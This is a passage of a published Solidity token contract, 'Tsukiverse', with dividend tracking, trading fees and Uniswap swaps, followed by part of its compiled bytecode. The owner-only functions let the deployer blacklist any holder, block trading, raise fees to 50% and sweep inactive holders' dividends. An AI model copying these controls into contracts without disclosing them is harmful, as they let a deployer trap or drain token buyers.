(magnifiedDividendPerShare * balanceOf(_owner) + magnifiedDividendCorrections[_owner]) / magnitude /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) public view override returns(uint256) { return magnifiedDividendPerShare.mul(balanceOf(_owner)).toInt256Safe() .add(magnifiedDividendCorrections[_owner]).toUint256Safe() / magnitude; } /// @dev Internal function that mints tokens to an account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account that will receive the created tokens. /// @param value The amount that will be created. function _mint(address account, uint256 value) internal override { super._mint(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .sub( (magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } /// @dev Internal function that burns an amount of the token of a given account. /// Update magnifiedDividendCorrections to keep dividends unchanged. /// @param account The account whose tokens will be burnt. /// @param value The amount that will be burnt. function _burn(address account, uint256 value) internal override { super._burn(account, value); magnifiedDividendCorrections[account] = magnifiedDividendCorrections[account] .add((magnifiedDividendPerShare.mul(value)).toInt256Safe() ); } function _setBalance(address account, uint256 newBalance) internal { uint256 currentBalance = balanceOf(account); if(newBalance > currentBalance) { uint256 mintAmount = newBalance.sub(currentBalance); _mint(account, mintAmount); } else if(newBalance < currentBalance) { uint256 burnAmount = currentBalance.sub(newBalance); _burn(account, burnAmount); } } function getAccount(address _account) public view returns ( uint256 _withdrawableDividends, uint256 _withdrawnDividends ) { _withdrawableDividends = withdrawableDividendOf(_account); _withdrawnDividends = withdrawnDividends[_account]; } } contract TOKENDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; mapping (address => bool) public excludedFromDividends; uint256 public immutable minimumTokenBalanceForDividends; event ExcludeFromDividends(address indexed account); constructor() public DividendPayingToken("Tsuki_Dividend_Tracker", "Tsuki_Dividend_Tracker") { minimumTokenBalanceForDividends = 1000000 * (10**18); } function _approve(address, address, uint256) internal override { require(false, "TOKEN_Dividend_Tracker: No approvals allowed"); } function _transfer(address, address, uint256) internal override { require(false, "TOKEN_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public override { require(false, "TOKEN_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main TOKEN contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludeFromDividends(account); } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function setBalance(address payable account, uint256 newBalance) external onlyOwner { if(excludedFromDividends[account]) { return; } if(newBalance >= minimumTokenBalanceForDividends) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } } function processAccount(address payable account, address payable toAccount) public onlyOwner returns (uint256) { uint256 amount = _withdrawDividendOfUser(account, toAccount); return amount; } } contract Tsukiverse is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private reinvesting; TOKENDividendTracker public dividendTracker; address payable private teamAddress = 0xc5A97Cc441de370d72ABc72523D8723BC4Ae1c59; address payable private marketingAddress = 0x8FB6bC8fA4d420CADb8EC9605C07C7bF98644E97; uint256 public swapTokensAtAmount = 10000000000 * (10**18); uint256 public _maxTxAmount = 5000000000000 * (10**18); uint256 public ethRewardsFee = 8; uint256 public marketingFee = 5; uint256 private totalFee = ethRewardsFee + marketingFee; uint256 public minimumTokenBalanceForDividends = 1000000 * (10**18); // whether the token can already be traded bool private tradingEnabled; mapping(address => bool) public bots; // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; // addresses that can make transfers before presale is over mapping (address => bool) public canTransferBeforeTradingIsEnabled; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; // the last time an address transferred // used to detect if an account can be reinvest inactive funds to the vault mapping (address => uint256) public lastTransfer; event UpdateDividendTracker(address indexed newAddress, address indexed oldAddress); event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event SendDividends(uint256 amount); event DividendClaimed(uint256 ethAmount, uint256 tokenAmount, address account); constructor() public ERC20("Tsukiverse", "TKINU") { dividendTracker = new TOKENDividendTracker(); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); // exclude from receiving dividends dividendTracker.excludeFromDividends(address(dividendTracker)); dividendTracker.excludeFromDividends(address(this)); dividendTracker.excludeFromDividends(owner()); dividendTracker.excludeFromDividends(address(_uniswapV2Router)); // exclude from paying fees or having max transaction amount excludeFromFees(address(this), true); excludeFromFees(owner(), true); excludeFromFees(marketingAddress, true); excludeFromFees(teamAddress, true); // enable owner and fixed-sale wallet to send tokens before presales are over canTransferBeforeTradingIsEnabled[owner()] = true; _mint(owner(), 1000000000000000 * (10**18)); } receive() external payable { } function updateDividendTracker(address newAddress) public onlyOwner { require(newAddress != address(dividendTracker), "TOKEN: The dividend tracker already has that address"); TOKENDividendTracker newDividendTracker = TOKENDividendTracker(payable(newAddress)); require(newDividendTracker.owner() == address(this), "TOKEN: The new dividend tracker must be owned by the TOKEN token contract"); newDividendTracker.excludeFromDividends(address(newDividendTracker)); newDividendTracker.excludeFromDividends(address(this)); newDividendTracker.excludeFromDividends(owner()); newDividendTracker.excludeFromDividends(address(uniswapV2Router)); emit UpdateDividendTracker(newAddress, address(dividendTracker)); dividendTracker = newDividendTracker; } function updateUniswapV2Router(address newAddress) public onlyOwner { require(newAddress != address(uniswapV2Router), "TOKEN: The router already has that address"); emit UpdateUniswapV2Router(newAddress, address(uniswapV2Router)); uniswapV2Router = IUniswapV2Router02(newAddress); } function excludeFromFees(address account, bool excluded) public onlyOwner { require(_isExcludedFromFees[account] != excluded, "TOKEN: Account is already the value of 'excluded'"); _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFees[accounts[i]] = excluded; } emit ExcludeMultipleAccountsFromFees(accounts, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "TOKEN: The UniSwap pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "TOKEN: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; if(value) { dividendTracker.excludeFromDividends(pair); } emit SetAutomatedMarketMakerPair(pair, value); } function allowPreTrading(address account, bool allowed) public onlyOwner { // used for owner and pre sale addresses require(canTransferBeforeTradingIsEnabled[account] != allowed, "TOKEN: Pre trading is already the value of 'excluded'"); canTransferBeforeTradingIsEnabled[account] = allowed; } function getTotalDividendsDistributed() external view returns (uint256) { return dividendTracker.totalDividendsDistributed(); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function withdrawableDividendOf(address account) public view returns(uint256) { return dividendTracker.withdrawableDividendOf(account); } function dividendTokenBalanceOf(address account) public view returns (uint256) { return dividendTracker.balanceOf(account); } function reinvestInactive(address payable account) public onlyOwner { uint256 tokenBalance = dividendTracker.balanceOf(account); require(tokenBalance <= minimumTokenBalanceForDividends, "TOKEN: Account balance must be less then minimum token balance for dividends"); uint256 _lastTransfer = lastTransfer[account]; require(block.timestamp.sub(_lastTransfer) > 12 weeks, "TOKEN: Account must have been inactive for at least 12 weeks"); dividendTracker.processAccount(account, address(this)); uint256 dividends = address(this).balance; (bool success,) = address(dividendTracker).call{value: dividends}(""); if(success) { emit SendDividends(dividends); try dividendTracker.setBalance(account, 0) {} catch {} } } function claim(bool reinvest, uint256 minTokens) external { _claim(msg.sender, reinvest, minTokens); } function _claim(address payable account, bool reinvest, uint256 minTokens) private { uint256 withdrawableAmount = dividendTracker.withdrawableDividendOf(account); require(withdrawableAmount > 0, "TOKEN: Claimer has no withdrawable dividend"); if (!reinvest) { uint256 ethAmount = dividendTracker.processAccount(account, account); if (ethAmount > 0) { emit DividendClaimed(ethAmount, 0, account); } return; } uint256 ethAmount = dividendTracker.processAccount(account, address(this)); if (ethAmount > 0) { reinvesting = true; uint256 tokenAmount = swapEthForTokens(ethAmount, minTokens, account); reinvesting = false; emit DividendClaimed(ethAmount, tokenAmount, account); } } function getNumberOfDividendTokenHolders() external view returns(uint256) { return dividendTracker.getNumberOfTokenHolders(); } function getAccount(address _account) public view returns ( uint256 withdrawableDividends, uint256 withdrawnDividends, uint256 balance ) { (withdrawableDividends, withdrawnDividends) = dividendTracker.getAccount(_account); return (withdrawableDividends, withdrawnDividends, balanceOf(_account)); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if( !swapping && from != owner() && to != owner() ) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); require(!bots[from] && !bots[to]); } if (!tradingEnabled) { require(canTransferBeforeTradingIsEnabled[from], "TOKEN: This account cannot send tokens until trading is enabled"); } if(amount == 0) { super._transfer(from, to, 0); return; } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && tradingEnabled && !swapping && !reinvesting && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapAndDistribute(); swapping = false; } bool takeFee = !swapping && !reinvesting; // if any account belongs to _isExcludedFromFee account then remove the fee // don't take a fee unless it's a buy / sell if((_isExcludedFromFees[from] || _isExcludedFromFees[to]) || (!automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to])) { takeFee = false; } if(takeFee) { uint256 fees = amount.mul(totalFee).div(100); amount = amount.sub(fees); super._transfer(from, address(this), fees); } super._transfer(from, to, amount); try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {} try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {} lastTransfer[from] = block.timestamp; lastTransfer[to] = block.timestamp; } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapEthForTokens(uint256 ethAmount, uint256 minTokens, address account) internal returns(uint256) { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = address(this); uint256 balanceBefore = balanceOf(account); uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: ethAmount}( minTokens, path, account, block.timestamp ); uint256 tokenAmount = balanceOf(account).sub(balanceBefore); return tokenAmount; } function swapAndDistribute() private { uint256 tokenBalance = balanceOf(address(this)); swapTokensForEth(tokenBalance); uint256 ethBalance = address(this).balance; uint256 devPortion = ethBalance.mul(marketingFee).div(totalFee); teamAddress.transfer(devPortion.div(2)); marketingAddress.transfer(devPortion.div(2)); uint256 dividends = address(this).balance; (bool success,) = address(dividendTracker).call{value: dividends}(""); if(success) { emit SendDividends(dividends); } } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 0, "Amount must be greater than 0"); _maxTxAmount = maxTxAmount; } function setmarketingFeePercent(uint256 newVal) external onlyOwner() { require(newVal >= 0 && newVal <= 25, 'newVal should be in 0 - 25'); marketingFee = newVal; totalFee = ethRewardsFee + marketingFee; } function setEthRedisPercent(uint256 newVal) external onlyOwner() { require(newVal >= 0 && newVal <= 25, 'newVal should be in 0 - 25'); ethRewardsFee = newVal; totalFee = ethRewardsFee + marketingFee; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 newValue) external { require(_msgSender() == teamAddress || _msgSender() == marketingAddress || _msgSender() == owner()); swapTokensAtAmount = newValue; } //Set minimum tokens required to hold to get eth Redis Rewards. function setMinTokensForDividends(uint256 newValue) external { require(_msgSender() == teamAddress || _msgSender() == marketingAddress || _msgSender() == owner()); minimumTokenBalanceForDividends = newValue; } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function activateTrading() public onlyOwner { require(!tradingEnabled, "TOKEN: Trading is already enabled"); tradingEnabled = true; } }
0x6080604052600436106102965760003560e01c8063715018a61161015a578063a9059cbb116100c1578063c492f0461161007a578063c492f04614610a7f578063d505a36414610afe578063dd62ed3e14610b30578063e2f4560514610b6b578063f2fde38b14610b80578063fbcbc0f114610bb35761029d565b8063a9059cbb14610966578063b62496f51461099f578063b63caa01146109d2578063be10b614146109fc578063bfd7928414610a11578063c024666814610a445761029d565b80638da5cb5b116101135780638da5cb5b1461086b57806395d89b411461088057806398a5c315146108955780639a7a23d6146108bf578063a457c2d7146108fa578063a8b9d240146109335761029d565b8063715018a61461078757806374010ece1461079c5780637c0c4827146107c65780637d1db4a5146107f05780637e0e155c1461080557806388bdd9be146108385761029d565b8063313ce567116101fe57806364b0f653116101b757806364b0f6531461069157806365b8dbc0146106a65780636843cd84146106d95780636b67c4df1461070c5780636b9990531461072157806370a08231146107545761029d565b8063313ce5671461057f57806339509351146105aa57806349bd5a5e146105e35780634fbee193146105f85780635b6612ad1461062b57806363c6ad761461065e5761029d565b806318160ddd1161025057806318160ddd1461049b5780632014e5d6146104c257806323b872dd146104d75780632c1f52161461051a5780632f9c45691461052f57806330bb4cff1461056a5761029d565b8062b8cf2a146102a257806306fdde0314610354578063095ea7b3146103de5780630bd05b691461042b5780630cd7c478146104405780631694505e1461046a5761029d565b3661029d57005b600080fd5b3480156102ae57600080fd5b50610352600480360360208110156102c557600080fd5b8101906020810181356401000000008111156102e057600080fd5b8201836020820111156102f257600080fd5b8035906020019184602083028401116401000000008311171561031457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610c04945050505050565b005b34801561036057600080fd5b50610369610cb8565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103a357818101518382015260200161038b565b50505050905090810190601f1680156103d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ea57600080fd5b506104176004803603604081101561040157600080fd5b506001600160a01b038135169060200135610d4e565b604080519115158252519081900360200190f35b34801561043757600080fd5b50610352610d6c565b34801561044c57600080fd5b506103526004803603602081101561046357600080fd5b5035610e15565b34801561047657600080fd5b5061047f610ed1565b604080516001600160a01b039092168252519081900360200190f35b3480156104a757600080fd5b506104b0610ee0565b60408051918252519081900360200190f35b3480156104ce57600080fd5b506104b0610ee6565b3480156104e357600080fd5b50610417600480360360608110156104fa57600080fd5b506001600160a01b03813581169160208101359091169060400135610eec565b34801561052657600080fd5b5061047f610f73565b34801561053b57600080fd5b506103526004803603604081101561055257600080fd5b506001600160a01b0381351690602001351515610f82565b34801561057657600080fd5b506104b0611063565b34801561058b57600080fd5b506105946110d9565b6040805160ff9092168252519081900360200190f35b3480156105b657600080fd5b50610417600480360360408110156105cd57600080fd5b506001600160a01b0381351690602001356110de565b3480156105ef57600080fd5b5061047f61112c565b34801561060457600080fd5b506104176004803603602081101561061b57600080fd5b50356001600160a01b031661113b565b34801561063757600080fd5b506104b06004803603602081101561064e57600080fd5b50356001600160a01b0316611159565b34801561066a57600080fd5b506103526004803603602081101561068157600080fd5b50356001600160a01b031661116b565b34801561069d57600080fd5b506104b0611468565b3480156106b257600080fd5b50610352600480360360208110156106c957600080fd5b50356001600160a01b03166114ad565b3480156106e557600080fd5b506104b0600480360360208110156106fc57600080fd5b50356001600160a01b03166115af565b34801561071857600080fd5b506104b0611632565b34801561072d57600080fd5b506103526004803603602081101561074457600080fd5b50356001600160a01b0316611638565b34801561076057600080fd5b506104b06004803603602081101561077757600080fd5b50356001600160a01b03166116b1565b34801561079357600080fd5b506103526116cc565b3480156107a857600080fd5b50610352600480360360208110156107bf57600080fd5b503561176e565b3480156107d257600080fd5b50610352600480360360208110156107e957600080fd5b5035611820565b3480156107fc57600080fd5b506104b06118dc565b34801561081157600080fd5b506104176004803603602081101561082857600080fd5b50356001600160a01b03166118e2565b34801561084457600080fd5b506103526004803603602081101561085b57600080fd5b50356001600160a01b03166118f7565b34801561087757600080fd5b5061047f611c4e565b34801561088c57600080fd5b50610369611c5d565b3480156108a157600080fd5b50610352600480360360208110156108b857600080fd5b5035611cbe565b3480156108cb57600080fd5b50610352600480360360408110156108e257600080fd5b506001600160a01b0381351690602001351515611d39565b34801561090657600080fd5b506104176004803603604081101561091d57600080fd5b506001600160a01b038135169060200135611de8565b34801561093f57600080fd5b506104b06004803603602081101561095657600080fd5b50356001600160a01b0316611e50565b34801561097257600080fd5b506104176004803603604081101561098957600080fd5b506001600160a01b038135169060200135611ea1565b3480156109ab57600080fd5b50610417600480360360208110156109c257600080fd5b50356001600160a01b0316611eb5565b3480156109de57600080fd5b50610352600480360360208110156109f557600080fd5b5035611eca565b348015610a0857600080fd5b506104b0611f45565b348015610a1d57600080fd5b5061041760048036036020811015610a3457600080fd5b50356001600160a01b0316611f4b565b348015610a5057600080fd5b5061035260048036036040811015610a6757600080fd5b506001600160a01b0381351690602001351515611f60565b348015610a8b57600080fd5b5061035260048036036040811015610aa257600080fd5b810190602081018135640100000000811115610abd57600080fd5b820183602082011115610acf57600080fd5b80359060200191846020830284011164010000000083111715610af157600080fd5b9193509150351515612076565b348015610b0a57600080fd5b5061035260048036036040811015610b2157600080fd5b50803515159060200135612196565b348015610b3c57600080fd5b506104b060048036036040811015610b5357600080fd5b506001600160a01b03813581169160200135166121a1565b348015610b7757600080fd5b506104b06121cc565b348015610b8c57600080fd5b5061035260048036036020811015610ba357600080fd5b50356001600160a01b03166121d2565b348015610bbf57600080fd5b50610be660048036036020811015610bd657600080fd5b50356001600160a01b03166122cb565b60408051938452602084019290925282820152519081900360600190f35b610c0c6123cc565b6005546001600160a01b03908116911614610c5c576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b60005b8151811015610cb457600160126000848481518110610c7a57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610c5f565b5050565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d445780601f10610d1957610100808354040283529160200191610d44565b820191906000526020600020905b815481529060010190602001808311610d2757829003601f168201915b5050505050905090565b6000610d62610d5b6123cc565b84846123d0565b5060015b92915050565b610d746123cc565b6005546001600160a01b03908116911614610dc4576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b60115460ff1615610e065760405162461bcd60e51b81526004018080602001828103825260218152602001806139c66021913960400191505060405180910390fd5b6011805460ff19166001179055565b610e1d6123cc565b6005546001600160a01b03908116911614610e6d576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6019811115610ec3576040805162461bcd60e51b815260206004820152601a60248201527f6e657756616c2073686f756c6420626520696e2030202d203235000000000000604482015290519081900360640190fd5b600e819055600d5401600f55565b6006546001600160a01b031681565b60025490565b600d5481565b6000610ef98484846124bc565b610f6984610f056123cc565b610f64856040518060600160405280602881526020016137de602891396001600160a01b038a16600090815260016020526040812090610f436123cc565b6001600160a01b0316815260208101919091526040016000205491906129b1565b6123d0565b5060019392505050565b6008546001600160a01b031681565b610f8a6123cc565b6005546001600160a01b03908116911614610fda576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526014602052604090205460ff16151581151514156110385760405162461bcd60e51b81526004018080602001828103825260358152602001806136a36035913960400191505060405180910390fd5b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b600854604080516342d359d760e11b815290516000926001600160a01b0316916385a6b3ae916004808301926020929190829003018186803b1580156110a857600080fd5b505afa1580156110bc573d6000803e3d6000fd5b505050506040513d60208110156110d257600080fd5b5051905090565b601290565b6000610d626110eb6123cc565b84610f6485600160006110fc6123cc565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061236b565b6007546001600160a01b031681565b6001600160a01b031660009081526013602052604090205460ff1690565b60166020526000908152604090205481565b6111736123cc565b6005546001600160a01b039081169116146111c3576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561121457600080fd5b505afa158015611228573d6000803e3d6000fd5b505050506040513d602081101561123e57600080fd5b50516010549091508111156112845760405162461bcd60e51b815260040180806020018281038252604c81526020018061387f604c913960600191505060405180910390fd5b6001600160a01b038216600090815260166020526040902054626ebe006112ab4283612a48565b116112e75760405162461bcd60e51b815260040180806020018281038252603c815260200180613757603c913960400191505060405180910390fd5b600854604080516352b5f81d60e01b81526001600160a01b038681166004830152306024830152915191909216916352b5f81d9160448083019260209291908290030181600087803b15801561133c57600080fd5b505af1158015611350573d6000803e3d6000fd5b505050506040513d602081101561136657600080fd5b505060085460405147916000916001600160a01b039091169083908381818185875af1925050503d80600081146113b9576040519150601f19603f3d011682016040523d82523d6000602084013e6113be565b606091505b505090508015611461576040805183815290517fb0cc2628d6d644cf6be9d8110e142297ac910d6d8026d795a99f272fd9ad60b19181900360200190a1600854604080516338c110ef60e21b81526001600160a01b038881166004830152600060248301819052925193169263e30443bc9260448084019391929182900301818387803b15801561144e57600080fd5b505af192505050801561145f575060015b505b5050505050565b600854604080516304ddf6ef60e11b815290516000926001600160a01b0316916309bbedde916004808301926020929190829003018186803b1580156110a857600080fd5b6114b56123cc565b6005546001600160a01b03908116911614611505576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6006546001600160a01b03828116911614156115525760405162461bcd60e51b815260040180806020018281038252602a815260200180613793602a913960400191505060405180910390fd5b6006546040516001600160a01b03918216918316907f8fc842bbd331dfa973645f4ed48b11683d501ebf1352708d77a5da2ab49a576e90600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b600854604080516370a0823160e01b81526001600160a01b038481166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b15801561160057600080fd5b505afa158015611614573d6000803e3d6000fd5b505050506040513d602081101561162a57600080fd5b505192915050565b600e5481565b6116406123cc565b6005546001600160a01b03908116911614611690576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152601260205260409020805460ff19169055565b6001600160a01b031660009081526020819052604090205490565b6116d46123cc565b6005546001600160a01b03908116911614611724576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6117766123cc565b6005546001600160a01b039081169116146117c6576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6000811161181b576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b600c55565b6118286123cc565b6005546001600160a01b03908116911614611878576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b60198111156118ce576040805162461bcd60e51b815260206004820152601a60248201527f6e657756616c2073686f756c6420626520696e2030202d203235000000000000604482015290519081900360640190fd5b600d819055600e5401600f55565b600c5481565b60146020526000908152604090205460ff1681565b6118ff6123cc565b6005546001600160a01b0390811691161461194f576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6008546001600160a01b038281169116141561199c5760405162461bcd60e51b81526004018080602001828103825260348152602001806138266034913960400191505060405180910390fd5b6000819050306001600160a01b0316816001600160a01b0316638da5cb5b6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119e457600080fd5b505afa1580156119f8573d6000803e3d6000fd5b505050506040513d6020811015611a0e57600080fd5b50516001600160a01b031614611a555760405162461bcd60e51b81526004018080602001828103825260498152602001806135d36049913960600191505060405180910390fd5b806001600160a01b03166331e79db0826040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015611aa457600080fd5b505af1158015611ab8573d6000803e3d6000fd5b50506040805163031e79db60e41b815230600482015290516001600160a01b03851693506331e79db09250602480830192600092919082900301818387803b158015611b0357600080fd5b505af1158015611b17573d6000803e3d6000fd5b50505050806001600160a01b03166331e79db0611b32611c4e565b6040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050600060405180830381600087803b158015611b7157600080fd5b505af1158015611b85573d6000803e3d6000fd5b50506006546040805163031e79db60e41b81526001600160a01b039283166004820152905191851693506331e79db0925060248082019260009290919082900301818387803b158015611bd757600080fd5b505af1158015611beb573d6000803e3d6000fd5b50506008546040516001600160a01b03918216935090851691507f90c7d74461c613da5efa97d90740869367d74ab3aa5837aa4ae9a975f954b7a890600090a3600880546001600160a01b0319166001600160a01b039290921691909117905550565b6005546001600160a01b031690565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d445780601f10610d1957610100808354040283529160200191610d44565b6009546001600160a01b0316611cd26123cc565b6001600160a01b03161480611d015750600a546001600160a01b0316611cf66123cc565b6001600160a01b0316145b80611d2b5750611d0f611c4e565b6001600160a01b0316611d206123cc565b6001600160a01b0316145b611d3457600080fd5b600b55565b611d416123cc565b6005546001600160a01b03908116911614611d91576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6007546001600160a01b0383811691161415611dde5760405162461bcd60e51b815260040180806020018281038252604881526020018061397e6048913960600191505060405180910390fd5b610cb48282612a8a565b6000610d62611df56123cc565b84610f64856040518060600160405280602581526020016139596025913960016000611e1f6123cc565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906129b1565b600854604080516302a2e74960e61b81526001600160a01b0384811660048301529151600093929092169163a8b9d24091602480820192602092909190829003018186803b15801561160057600080fd5b6000610d62611eae6123cc565b84846124bc565b60156020526000908152604090205460ff1681565b6009546001600160a01b0316611ede6123cc565b6001600160a01b03161480611f0d5750600a546001600160a01b0316611f026123cc565b6001600160a01b0316145b80611f375750611f1b611c4e565b6001600160a01b0316611f2c6123cc565b6001600160a01b0316145b611f4057600080fd5b601055565b60105481565b60126020526000908152604090205460ff1681565b611f686123cc565b6005546001600160a01b03908116911614611fb8576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6001600160a01b03821660009081526013602052604090205460ff16151581151514156120165760405162461bcd60e51b81526004018080602001828103825260318152602001806136fe6031913960400191505060405180910390fd5b6001600160a01b038216600081815260136020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b61207e6123cc565b6005546001600160a01b039081169116146120ce576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b60005b828110156121235781601360008686858181106120ea57fe5b602090810292909201356001600160a01b0316835250810191909152604001600020805460ff19169115159190911790556001016120d1565b507f7fdaf542373fa84f4ee8d662c642f44e4c2276a217d7d29e548b6eb29a233b35838383604051808060200183151581526020018281038252858582818152602001925060200280828437600083820152604051601f909101601f1916909201829003965090945050505050a1505050565b610cb4338383612bb8565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600b5481565b6121da6123cc565b6005546001600160a01b0390811691161461222a576040805162461bcd60e51b81526020600482018190526024820152600080516020613806833981519152604482015290519081900360640190fd5b6001600160a01b03811661226f5760405162461bcd60e51b815260040180806020018281038252602681526020018061365b6026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6008546040805163fbcbc0f160e01b81526001600160a01b038481166004830152825160009485948594939091169263fbcbc0f19260248083019392829003018186803b15801561231b57600080fd5b505afa15801561232f573d6000803e3d6000fd5b505050506040513d604081101561234557600080fd5b5080516020909101519093509150828261235e866116b1565b9250925092509193909250565b6000828201838110156123c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166124155760405162461bcd60e51b81526004018080602001828103825260248152602001806138cb6024913960400191505060405180910390fd5b6001600160a01b03821661245a5760405162461bcd60e51b81526004018080602001828103825260228152602001806136816022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166125015760405162461bcd60e51b815260040180806020018281038252602581526020018061385a6025913960400191505060405180910390fd5b6001600160a01b0382166125465760405162461bcd60e51b81526004018080602001828103825260238152602001806135b06023913960400191505060405180910390fd5b600754600160a01b900460ff161580156125795750612563611c4e565b6001600160a01b0316836001600160